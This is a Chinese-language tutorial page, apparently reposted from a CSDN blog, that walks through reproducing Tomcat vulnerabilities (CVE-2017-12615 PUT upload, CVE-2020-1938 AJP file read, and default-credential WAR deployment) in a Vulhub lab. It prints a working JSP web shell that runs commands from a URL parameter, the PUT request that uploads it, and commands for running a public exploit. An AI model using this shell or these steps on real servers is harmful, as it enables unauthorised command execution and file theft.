我的编程空间,编程开发者的网络收藏夹
学习永远不晚

中间件安全—Tomcat常见漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

中间件安全—Tomcat常见漏洞

中间件安全—Tomcat常见漏洞

1.Tomcat常见漏洞

1.1.前言

  整个复现环境均使用Vulhub一键搭建漏洞测试靶场,Vulhub靶场:链接

1.2.文件上传 (CVE-2017-12615)

1.2.1.漏洞原理

  Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
在这里插入图片描述

1.2.2.影响版本

  Apache Tomcat 7.0.0 – 7.0.81

1.2.3.漏洞复现

1.2.3.1.测试是否允许PUT

  这里修改请求方式为OPTIONS /xx HTTP/1.1,通过修改后发现允许PUT方法。
在这里插入图片描述

1.2.3.2.验证漏洞是否存在

  这里修改请求方式为:PUT /test.jsp/ HTTP/1.1,请求体为:<%out.print(“hacker”); %>,然后访问test.jsp。
在这里插入图片描述

1.2.3.3.访问test.jsp
URL:http:ip地址:端口/test.jsp

在这里插入图片描述

1.2.3.4.上传执行命令脚本

  修改请求头PUT /test.jsp/ HTTP/1.1,修改请求体。

请求体:<%    if("123".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();        int a = -1;                  byte[] b = new byte[1024];                  out.print("
");                  while((a=in.read(b))!=-1){            out.println(new String(b));                  }        out.print("
"
); } %>

在这里插入图片描述

1.2.3.5.执行命令
http://ip地址:8080/test.jsp?&pwd=123&cmd=ls

在这里插入图片描述

1.3.文件包含漏洞(CVE-2020-1938)

1.3.1.漏洞原理

  Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

1.3.2.影响版本

  Apache Tomcat 6
  Apache Tomcat 7 < 7.0.100
  Apache Tomcat 8 < 8.5.51
  Apache Tomcat 9 < 9.0.31
  开启了8009端口的ajp服务

1.3.3.漏洞复现

1.3.3.1.访问页面

  访问http://your-ip:8080即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
在这里插入图片描述

1.3.3.2.POC下载

  POC链接:链接
  当然你也可以在kali中使用命令进行下载,检测等,不过我这里由于网络原因一直下载不下来,我就用本机下载再上传虚拟机了。

命令:git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  cd CNVD-2020-10487-Tomcat-Ajp-lfi  python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境  

在这里插入图片描述

1.3.3.3.POC验证

  这里查看8009端口下的web.xml文件

命令:python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml

在这里插入图片描述

1.4.弱口令&war远程部署

1.4.1.漏洞原理

  在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。

1.4.2.影响版本

  全版本

1.4.3.漏洞复现

1.4.3.1.访问后台

  这里首先需要先访问后台管理。

http://ip地址:8080/manager/html

在这里插入图片描述

1.4.3.2.后台管理

  在后台有一个上传war包的地方,这里就是我们用来上传木马的地方,这里我没准备jsp马,我使用msf来进行操作吧。
在这里插入图片描述

1.4.3.3.进入模块

  进入msf里面的exploit/multi/http/tomcat_mgr_upload模块。
在这里插入图片描述

1.4.3.4.获取shell

  我这边由于使用云服务器,存在反弹的端口不通,可能被拦截了,所以就没有反弹回来。
在这里插入图片描述

来源地址:https://blog.csdn.net/weixin_44268918/article/details/129155293

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

中间件安全—Tomcat常见漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Solidity 合约安全,常见漏洞 (下篇)

Solidity 合约安全,常见漏洞 (下篇) Solidity 合约安全,常见漏洞 (上篇) 不安全的随机数 目前不可能用区块链上的单一交易安全地产生随机数。区块链需要是完全确定的,否则分布式节点将无法达成关于状态的共识。因为它们是完全
2023-08-30

PHP Web应用程序中的常见安全漏洞

PHP 是一种流行的服务器端脚本语言,用于开发动态 Web 应用程序。但是,与任何其他软件一样,PHP Web 应用程序也可能遭受安全攻击。在本文中,我们将讨论 PHP Web 应用程序中一些最常见的安全漏洞以及如何避免它们。1. SQL
2023-10-23

PHP网站常见安全漏洞有哪些

这篇“PHP网站常见安全漏洞有哪些”文章,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要参考一下,对于“PHP网站常见安全漏洞有哪些”,小编整理了以下知识点,请大家跟着小编的步伐一步一步的慢慢理解,接下来就让我们进入
2023-06-06

ASP Web安全漏洞:您应该了解的5种最常见的漏洞

ASP Web 安全漏洞是网络攻击者利用 ASP 应用程序中的缺陷来访问敏感数据和系统资源的常见攻击方式。本文将介绍五种最常见的 ASP Web 安全漏洞,以及如何防御这些漏洞。
ASP Web安全漏洞:您应该了解的5种最常见的漏洞
2024-02-07

服务器安全补丁:5个最常见的安全漏洞

服务器安全补丁是防止网络攻击和数据泄露的关键,了解最常见的安全漏洞并及时安装补丁可以有效保护服务器安全。
服务器安全补丁:5个最常见的安全漏洞
2024-02-27

如何在PHP开发中避免常见的安全漏洞?

如何在PHP开发中避免常见的安全漏洞?PHP是一种常用的服务器端脚本语言,广泛应用于Web开发。然而,由于其易用性和灵活性,PHP应用程序容易受到各种安全威胁。为了保护Web应用程序免受黑客攻击和数据泄露,开发者需要采取一些防范措施。下面是
如何在PHP开发中避免常见的安全漏洞?
2023-11-03

VUE Nuxt.js中间件安全指南:如何防止安全漏洞

VUE Nuxt.js中间件位于应用程序和用户之间,在处理请求和响应时可能成为安全漏洞的切入点。本文介绍了如何保护VUE Nuxt.js应用程序免受安全漏洞的影响,包括跨站脚本攻击、请求伪造、安全标头和输入验证等,并提供了一些最佳实践和代码示例。
VUE Nuxt.js中间件安全指南:如何防止安全漏洞
2024-02-04

Python开发注意事项:避免常见的安全漏洞

Python作为一种简单易学的编程语言,被广泛应用于各类软件开发项目中。然而,随着互联网的发展和信息安全的重要性日益凸显,开发者们也越来越需要关注代码的安全性。本文将介绍一些在Python开发过程中需要注意的常见安全漏洞,并提供一些避免这些
Python开发注意事项:避免常见的安全漏洞
2023-11-22

常见的Web安全漏洞及测试方法是什么

这篇文章主要讲解了“常见的Web安全漏洞及测试方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“常见的Web安全漏洞及测试方法是什么”吧!一、安全测试6项基本原则:认证:对认证的用户的
2023-06-05

提高Linux服务器的安全性:常见安全漏洞和修复方法

提高Linux服务器的安全性是确保服务器不易受到恶意攻击和未经授权的访问的重要措施之一。以下是一些常见的安全漏洞和修复方法:1. 更新和修补系统:定期更新并应用操作系统的安全补丁和更新,以修复已知的漏洞,并确保系统保持最新状态。2. 使用强
2023-10-09

提高Linux服务器的安全性:常见安全漏洞和修复方法

提高Linux服务器安全性常见的安全漏洞:未打补丁软件、弱密码、未配置防火墙、未安全配置服务、SQL注入、跨站脚本(XSS)、缓冲区溢出。修复方法:保持软件更新、使用强密码、配置防火墙、安全配置服务、防范SQL注入、防范XSS、防范缓冲区溢出。额外安全措施:禁用不必要的服务、使用入侵检测/防御系统、定期进行安全审计、实施安全日志记录、备份和恢复、限制root访问权限、使用安全协议、保持操作系统更新。
提高Linux服务器的安全性:常见安全漏洞和修复方法
2024-04-11

揭秘Java Spring Boot Security:常见的安全漏洞与防御策略

Java Spring Boot Security是一个强大的安全框架,但它也存在一些常见的安全漏洞。本文将讨论这些漏洞并提供相应的防御策略,以帮助开发人员构建更安全的应用程序。
揭秘Java Spring Boot Security:常见的安全漏洞与防御策略
2024-02-02

PHP网站常见的安全漏洞及防御方法有哪些

本篇内容主要讲解“PHP网站常见的安全漏洞及防御方法有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP网站常见的安全漏洞及防御方法有哪些”吧!一、常见PHP网站安全漏洞对于PHP的漏洞,
2023-07-04

编程热搜

目录